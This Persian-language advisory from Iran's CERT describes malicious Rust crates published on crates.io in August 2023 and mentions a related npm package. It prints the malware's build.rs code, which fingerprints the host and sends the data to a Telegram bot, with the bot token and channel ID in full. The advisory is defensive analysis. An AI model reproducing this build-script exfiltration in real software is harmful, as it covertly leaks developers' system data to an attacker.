بسمه تعالی

وزارت ارتباطات و فناوری اطلاعات
سازمان فناوری اطلاعات ایران
معاونت امنیت فضای تولید و تبادل اطلاعات

مرکز ماهر
مرکز مدیریت امداد و هماهنگی
عملیات رخدادهای رایانه ای

گزارش آسیب‌پذیری کتابخانه RUST

گزارش فنی

شناسه سند ..... Rust_Library_Vulnerability_Report
نوع سند ..... گزارش فنی
شماره نگارش ۱
تاریخ نگارش ۱۴۰۲/۰۶/۰۸
طبقه‌بندی سند ..... عادی

تهران، خیابان شهید بهشتی بین بزرگراه شهید مدرس و خیابان احمد قصیر- پلاک۲۶۷
(۰۲۱) ۸۸۱۱۵۷۲۴
(۰۲۱) ۸۸۱۱۵۷۲۴
cert.ir

فهرست مطالب

۱ شرح آسیب‌پذیری

در طی مشاهدات جدیدی، مشخص شد که توسعه‌دهندگان همچنان هدف حملات زنجیره تامین نرم‌افزار هستند. طبق بررسی‌ها، تعدادی پکیج مخرب در رجیستری جعبه زبان برنامه‌نویسی Rust کشف شده است.

مجموعه Phylum در گزارشی که به‌تازگی منتشر شد، گفت: "این کتابخانه‌ها که بین ۱۴ و ۱۶ آگوست ۲۰۲۳ بارگذاری شده و توسط کاربری به نام "amaperf" منتشر شده‌اند. نام پکیج‌ها که اکنون حذف شده‌اند به شرح زیر است:

- Postgress
- if-cfg
- Xrvrv
- Serd
- Oncecell
- lazystatic
- envlogger

مشخص نیست هدف نهایی این کمپین چه بوده است، اما ماژول‌های مشکوک دارای قابلیت‌هایی برای ضبط اطلاعات سیستم عامل (یعنی ویندوز، لینوکس، macOSیا موارد ناشناس) و انتقال داده‌ها به یک کانال تلگرامی با کد سخت از طریق API پلتفرم پیام‌رسانی هستند.

```
let msg = format!(
        "[callback]%0Aip: {}%0Acountry: {}%0Aregion: {}%0Aplatform: {}%0A",
        json["query"].as_str().unwrap_or("unknonw"),
        json["countryCode"].as_str().unwrap_or("unknonw"),
        json["regionName"].as_str().unwrap_or("unknonw"),
        platform
    );

    let query = format!(
        "<https://api.telegram.org/bot{}/sendMessage?chat_id={:}&text={}>",
        BOT_TOKEN,
        CHANELL_ID,
        msg
    );

    reqwest::blocking::get(query)?;

    Ok(())
```

این نشان می‌دهد که این حمله ممکن است در مراحل ابتدایی خود بوده باشد و فرد یا افرادی که در پشت آن هستند، تلاش می‌کرده‌اند تا تعداد زیادی از ماشین‌های توسعه‌دهندگان را تخریب کنند تا بتوانند بهبودهای در زمینه انتقال داده‌ها را ارائه دهند .

شرکت امنیتی Phylum اظهار داشته است: "با دسترسی به کلیدهایSSH ، زیرساخت تولید و مالکیت فکری شرکت، توسعه‌دهندگان در حال حاضر هدفی بسیار ارزشمند هستند." این حملات نشان از اهمیت ایجاد احتیاط و دقت در اجرای فعالیت‌های توسعه‌نرم‌افزار توسط توسعه‌دهندگان دارد.

لازم به ذکر است که این حملات به crates.io برای اولین بار نیست. در سال ۲۰۲۲، یک کمپین به نام CrateDepression با استفاده از تکنیک‌های typosquatting برای دزدیدن اطلاعات حساس و دانلود فایل‌های دلخواه از این سایت استفاده کرد.

همچنین شرکت Phylum یک پکیج npm به نام emails-helper را نیز شناسایی کرده است که از مکانیزم بازخورد برای انتقال اطلاعات ماشین به یک سرور از راه دور و اجرای باینری‌های رمزگذاری‌شده به عنوان بخشی از یک حمله پیچیده استفاده می‌کند. این ماژول به عنوان "کتابخانه JavaScript برای اعتبارسنجی آدرس ایمیل در قالب‌های مختلف" معرفی شده بود و قبل از حذف ازnpm ، 707بار دانلود شده بود. این نشان می‌دهد که یک عمل ساده مانند اجرای دستور npm install ممکن است یک زنجیره حمله پیچیده را آغاز کند، بنابراین توسعه‌دهندگان باید در انجام فعالیت‌های توسعه نرم‌افزاری خود احتیاط و دقت لازم را به‌کار گیرند.

با توجه به الگویی که ما قبلاً توضیح داده‌ایم، چندین پکیج دیگر در تاریخ ۱۶ اوت ۲۰۲۳ منتشر شدند. در این نسخه‌ها، یک فایل build.rs اضافه شد که وظیفه ارتباط با اطلاعات میزبان را به مهاجم انجام می‌دهد.

توکن تلگرام و شناسه کانال تعریف شده:

```
const BOT_TOKEN: &str = "6365984299:AAFLSYCsPAs1E2aS_KSSTenLMJKHmkxo7Ps";
const CHANELL_ID: i128 = -1001901628644;
```

سپس پکیج به دنبال وجود یک فایل mutex می‌گردد که در مسیر env::var("OUT_DIR") قرار دارد. اگر وجود داشته باشد، ما به طور زودگذر اجرای برنامه را متوقف می‌کنیم. اگر وجود نداشته باشد، ما آن را ایجاد کرده و اجرای برنامه را ادامه می‌دهیم.

```
let out = PathBuf::from(env::var("OUT_DIR")?);
    if File::open(out.join("mutex")).is_ok() {
        return Ok(());
    }

    File::create(out.join("mutex"))?;
```

سپس، اطلاعات مربوط به میزبان (سیستم کامپیوتر) به دست می‌آید:

```
let resp = reqwest::blocking::get("<http://ip-api.com/json>")?;
    let text = resp.text()?;
    let json: serde_json::Value = serde_json::from_str(&text)?;

    cfg_if::cfg_if! {
        if #[cfg(windows)] {
            let platform = "Windows";
        } else if #[cfg(linux)] {
            let platform = "Linux";
        } else if #[cfg(macos)] {
            let platform = "MacOS";
        } else {
            let platform = "unknown";
        }
    }
```

سرانجام، پیامی که این اطلاعات را حاوی می‌کند به کانال تلگرامی از پیش تعیین شده ارسال می‌شود.

```
let msg = format!(
        "[callback]%0Aip: {}%0Acountry: {}%0Aregion: {}%0Aplatform: {}%0A",
        json["query"].as_str().unwrap_or("unknonw"),
        json["countryCode"].as_str().unwrap_or("unknonw"),
        json["regionName"].as_str().unwrap_or("unknonw"),
        platform
    );

    let query = format!(
        "<https://api.telegram.org/bot{}/sendMessage?chat_id={:}&text={}>",
        BOT_TOKEN,
        CHANELL_ID,
        msg
    );

    reqwest::blocking::get(query)?;

    Ok(())
```

به طور خلاصه، در این نسخه‌ها، مهاجم قابلیت ارسال اطلاعات درباره هدف به یک کانال تلگرامی که نظارت می‌کند، اضافه کرده است. جستجو در کانال تلگرام با استفاده از توکن ارائه شده اطلاعات کمی ارائه می‌دهد.

۲ مراجع

1- https://thehackernews.com/2023/08/developers-beware-malicious-rust.html#:~:text=The%20libraries%2C%20uploaded%20between%20August,oncecell%2C%20lazystatic%2C%20and%20envlogger.

2- https://blog.phylum.io/rust-malware-staged-on-crates-io/